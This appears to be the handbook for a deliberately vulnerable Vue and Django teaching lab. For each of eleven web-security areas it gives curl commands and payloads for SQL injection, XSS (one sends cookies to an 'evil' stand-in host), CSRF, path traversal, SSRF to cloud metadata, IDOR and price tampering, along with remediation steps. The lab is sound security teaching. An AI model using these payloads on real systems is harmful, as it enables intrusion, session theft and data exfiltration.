VulnShop

Break & Fix Guide — a deliberately vulnerable Vue + Django lab

A hands-on handbook for 11 web-security test areas. For each area: what the weakness is, how to break it from the Vue frontend, how to break it against the Django backend, and how to fix it on both sides.

Authorised, local use only. Every flaw here is intentional and self-contained, in the tradition of DVWA, OWASP Juice Shop and WebGoat. Run it only on your own machine/isolated network and test only this app. Do not deploy it anywhere reachable by others, and never point these techniques at systems you do not own or lack written permission to test.

```
Demo logins: alice / 123456 · bob / password · admin / admin
Backend: http://127.0.0.1:8000 · Frontend: http://127.0.0.1:5173
```

How to use this guide

Start the backend and frontend (see README). Work one area at a time: reproduce the break, confirm the impact, then apply the fix and re-test that the exploit now fails while normal use still works. Each code marker like `[VULN-04-SQLI]` appears next to the matching vulnerable code so you can jump straight to it.

“Break (frontend)” means acting through the Vue UI or browser DevTools; “Break (backend)” means hitting the API directly (curl / an intercepting proxy). “Fix” lists the concrete change on each side.

1. Authentication

`[VULN-01-AUTH]`

What's wrong. Passwords are stored with MD5, there is no password policy, no brute-force protection, and the password-reset token is predictable, never expires, is reusable, and is handed straight back in the HTTP response.

Break it — frontend

- Register with password **123456** — it is accepted (no policy).
- Click “Request reset token” for any username; the token `<id>reset` is shown in the response.
- Paste it into the reset box with a new password — it works, and it still works a second time.

Break it — backend

- Guess another user's token and take over the account:

```
curl -s -X POST localhost:8000/api/reset-password \
-H 'Content-Type: application/json' \
-d '{"token":"1reset","new_password":"pwned"}'
# alice (user id 1) is now owned; token can be replayed
```

Fix it

- **Backend:** keep Django's default Argon2/PBKDF2 hashers (remove the MD5 `PASSWORD_HASHERS`); restore `AUTH_PASSWORD_VALIDATORS`; generate reset tokens with `secrets.token_urlsafe(32)`, store only their hash, set a short expiry, mark single-use (`used=True`) in a transaction, and *email* them instead of returning them; add rate-limiting / lockout and generic error messages.
- **Frontend:** never display or log reset tokens; enforce a password strength meter; show the same message whether or not the account exists.

2. Access control (IDOR)

`[VULN-02-ACCESS]`

What's wrong. Order endpoints look up records by id with no ownership check, so any user can read or delete another user's orders.

Break it — frontend

- Log in as alice, open the *Access control* card, change the order id from 1 to 2 and press GET — you see bob's order.
- Press DELETE to destroy an order you do not own.

Break it — backend

- Enumerate every order with no session at all:

```
for i in 1 2 3 4 5; do curl -s localhost:8000/api/orders/$i; echo; done
```

Fix it

- **Backend:** scope every lookup to the current principal — `Order.objects.get(id=order_id, owner=request.user)` — and return 404 on mismatch; require authentication; check an explicit permission for admin access; prefer unguessable ids (UUIDs) as defence in depth.
- **Frontend:** do not rely on hiding ids in the UI for security — but still avoid exposing raw sequential ids and handle 403/404 gracefully.

3. Session management

`[VULN-03-SESSION]`

What's wrong. “Logout” never calls Django's logout(), so the server-side session stays valid; cookies are long-lived, not Secure, and have no SameSite restriction.

Break it — frontend

- Log in, then click logout. Click *GET /whoami* (or any authenticated call) again — you are still logged in server-side.

Break it — backend

- Capture the sessionid cookie, hit logout, then reuse the same cookie — it still authenticates:

```
curl -s -X POST localhost:8000/api/logout -b 'sessionid=<old>'
curl -s localhost:8000/api/whoami -b 'sessionid=<old>' # still valid
```

Fix it

- **Backend:** call `logout(request)` (or `request.session.flush()`) to destroy the server session; set `SESSION_COOKIE_SECURE=True`, `SESSION_COOKIE_SAMESITE='Lax'`, a short `SESSION_COOKIE_AGE`, and rotate the session key on login to prevent fixation.
- **Frontend:** clear any client state on logout and redirect to a logged-out view; never store the session token in localStorage.

4. SQL injection

`[VULN-04-SQLI]`

What's wrong. The order search builds a raw SQL string by concatenating the q parameter, and even echoes the executed SQL and DB errors back to the client.

Break it — frontend

- In the *SQL injection* card, search for `%' OR 1=1 --` to return every order regardless of the filter.

Break it — backend

- Confirm the injection and read the reflected query/error:

```
curl -s "localhost:8000/api/search?q=%25'%20OR%201=1%20--%20"
# UNION/boolean/time-based payloads extend this to dump tables
```

Fix it

- **Backend:** never build SQL by string concatenation. Use the ORM (`Order.objects.filter(item__icontains=q)`) or parameterised raw SQL (`cursor.execute(sql, [param])`); grant the DB user least privilege; return generic errors and log details server-side only.
- **Frontend:** validate/limit input length and type for UX, but treat the server as the real trust boundary — client checks are not a defence against SQLi.

5. Cross-site scripting (XSS)

`[VULN-05-XSS]`

What's wrong. Comments are stored verbatim and rendered with Vue's `v-html` (stored XSS); the greet endpoint reflects the `name` param into an HTML response that the page injects via v-html (reflected XSS).

Break it — frontend

- In *Stored XSS*, post a comment body of `<img src=x onerror=alert(document.cookie)>`. It fires for every visitor who loads the comments.
- In *Reflected XSS*, enter `<img src=x onerror=alert(1)>` and fetch the greeting.

```
<!-- the vulnerable render in frontend/index.html -->
<div v-html="c.body"></div>
```

Break it — backend

- Prove it is stored server-side (any client that renders it is affected):

```
curl -s -X POST localhost:8000/api/comments \
-H 'Content-Type: application/json' \
-d '{"author":"x","body":"<script>fetch(\'//evil/?c=\'+document.cookie)</script>"}'
```

Fix it

- **Frontend:** render user content as text — use `{{ c.body }}` (Vue escapes it), not `v-html`. If HTML really must be shown, sanitise with DOMPurify first.
- **Backend:** sanitise on input with an allow-list (e.g. the `bleach`/nh3 library), escape on output, set the correct `Content-Type` (JSON, not HTML), mark cookies `HttpOnly`, and send a strict `Content-Security-Policy` that forbids inline script.

6. Cross-site request forgery (CSRF)

`[VULN-06-CSRF]`

What's wrong. CsrfViewMiddleware is disabled and the email-change view is `csrf_exempt`; combined with wide-open CORS and cookie auth, any site can perform actions as the logged-in victim.

Break it — frontend

- Log into VulnShop, then open `docs/csrf-poc.html` in the same browser. It silently changes your email with no token.

Break it — backend

- The forged request is just a cross-origin POST carrying the victim's cookie:

```
curl -s -X POST localhost:8000/api/change-email \
-H 'Content-Type: application/json' \
-b 'sessionid=<victim>' -d '{"email":"attacker@evil"}'
```

Fix it

- **Backend:** re-enable `CsrfViewMiddleware`, remove `csrf_exempt`, require the CSRF token on all state-changing requests, set `SESSION_COOKIE_SAMESITE='Lax'`, replace wildcard CORS with a strict allow-list, and re-authenticate for sensitive changes.
- **Frontend:** read Django's `csrftoken` cookie and send it in the `X-CSRFToken` header on every mutating request.

7. File uploads & path traversal

`[VULN-07-FILES]`

What's wrong. Uploads accept any type/size and keep the client-supplied filename; downloads join a user-supplied path to the media folder with no containment check.

Break it — frontend

- Upload a `.html` or `.svg` file containing script — it is stored and served, giving stored XSS from the file host.
- In the download box enter `../db.sqlite3` to pull the database.

Break it — backend

- Read arbitrary server files via traversal:

```
curl -s 'localhost:8000/api/download?path=../db.sqlite3' -o loot.sqlite3
curl -s 'localhost:8000/api/download?path=../vulnproject/settings.py'
```

Fix it

- **Backend:** validate content type and size; generate a random server-side filename; store outside the web root; before serving, resolve the path and verify it stays inside the intended dir (`os.path.realpath(full).startswith(realpath(MEDIA_ROOT))`) or serve only allow-listed ids; send downloads with `Content-Disposition: attachment` and `X-Content-Type-Options: nosniff`.
- **Frontend:** restrict the file picker (`accept=`), show type/size limits, and never build download URLs from raw user paths.

8. Server-side request forgery (SSRF)

`[VULN-08-SSRF]`

What's wrong. “Import from URL” fetches any URL the client supplies — including localhost, cloud metadata endpoints and file:// — with no scheme or host restrictions and following redirects.

Break it — frontend

- In the *SSRF* card, import `http://127.0.0.1:8000/api/debug` to read an internal-only endpoint via the server.

Break it — backend

- Reach internal services / cloud metadata the attacker cannot touch directly:

```
curl -s -X POST localhost:8000/api/import-url \
-H 'Content-Type: application/json' \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}'
```

Fix it

- **Backend:** allow-list permitted schemes (https only) and hosts; resolve DNS yourself and reject private, loopback and link-local ranges (incl. the resolved IP after any redirect); disable redirects; set tight timeouts and a response size cap; make the fetch from an egress-restricted network segment.
- **Frontend:** offer a fixed list of allowed sources rather than a free-text URL where possible.

9. Business logic

`[VULN-09-LOGIC]`

What's wrong. Checkout trusts the client-supplied price and quantity, allows negative quantities, and applies coupons that are never marked redeemed (so they are infinitely reusable).

Break it — frontend

- In *Checkout*, set price_cents to 1 (or a negative quantity), apply `SAVE50` repeatedly, and submit — the order is created as paid at your price.

Break it — backend

- Buy for a penny and stack the coupon:

```
curl -s -X POST localhost:8000/api/checkout \
-H 'Content-Type: application/json' \
-d '{"item":"Red Gadget","price_cents":1,"quantity":1,"coupon":"SAVE50"}'
```

Fix it

- **Backend:** compute every monetary value server-side from the authoritative catalogue; ignore client prices; validate ranges (quantity > 0, within stock); enforce coupon rules transactionally (`select_for_update`, mark redeemed, check per-user limits); verify payment before marking paid.
- **Frontend:** treat displayed totals as a preview only; never send prices the server will trust.

10. API security (excessive data exposure)

`[VULN-10-API]`

What's wrong. The users endpoint needs no auth and returns sensitive fields the UI hides: email, password hash, SSN, internal notes and an admin flag.

Break it — frontend

- Click *GET /users*; the list on screen shows only usernames, but expand the raw JSON to see every hidden field.

Break it — backend

- Pull the sensitive fields directly — the client never filters them, the server over-shares:

```
curl -s localhost:8000/api/users | python -m json.tool
# password_hash, ssn, internal_notes, is_admin all present
```

Fix it

- **Backend:** require authentication and authorisation; serialise an explicit allow-list of public fields (never `password`/PII); use serializers/DTOs rather than dumping model dicts; apply object- and field-level permissions; paginate.
- **Frontend:** remember that hiding a field in the UI does not protect it — the fix must be server-side.

11. Configuration & encryption

`[VULN-11-CONFIG]`

What's wrong. DEBUG is on, SECRET_KEY is hard-coded, ALLOWED_HOSTS is wildcard, CORS reflects any origin with credentials, security headers are off, and a /debug endpoint dumps settings and environment.

Break it — frontend

- Click *GET /debug* to read the secret key and settings; note the app is plain HTTP with no security headers.

Break it — backend

- Harvest secrets and trigger a verbose error page:

```
curl -s localhost:8000/api/debug # SECRET_KEY, paths, env
curl -s 'localhost:8000/api/search?q=%27' # DEBUG stack trace + SQL
```

Fix it

- **Backend:** set `DEBUG=False`; load `SECRET_KEY` from the environment and rotate it; pin `ALLOWED_HOSTS`; remove the debug endpoint and any backup files; enable `SECURE_SSL_REDIRECT`, HSTS, `X_FRAME_OPTIONS='DENY'`, `SECURE_CONTENT_TYPE_NOSNIFF`, Secure cookies and a CSP; replace wildcard CORS with a strict allow-list (django-cors-headers).
- **Frontend:** serve over HTTPS, keep API base URLs in config (not secrets), and never embed credentials or tokens in the bundle.

Quick remediation checklist

#	Area	Single most important fix
1	Authentication	Strong hasher + password policy + expiring, single-use, emailed reset tokens.
2	Access control (IDOR)	Scope every record lookup to the authenticated owner; 404 on mismatch.
3	Session management	Call logout()/session.flush(); Secure + SameSite + short-lived cookies.
4	SQL injection	Parameterised queries / ORM; never concatenate SQL; generic errors.
5	Cross-site scripting (XSS)	Escape output ({{ }}), drop v-html / sanitise; HttpOnly cookies + CSP.
6	Cross-site request forgery (CSRF)	Re-enable CSRF middleware + token; SameSite cookies; strict CORS.
7	File uploads & path traversal	Validate type/size, random names, contained paths, attachment downloads.
8	Server-side request forgery (SSRF)	Allow-list schemes/hosts; block private IPs; no redirects; timeouts.
9	Business logic	Compute price/totals server-side; validate ranges; single-use coupons.
10	API security (excessive data exposure)	Add field allow-list serialisers; never return PII / hashes.
11	Configuration & encryption	DEBUG=False, secrets from env, headers + HSTS + CSP, remove debug routes.

Golden rules: never trust the client; validate and encode at the trust boundary; enforce authentication and authorisation on every request; fail closed; and keep secrets and debug surfaces out of production.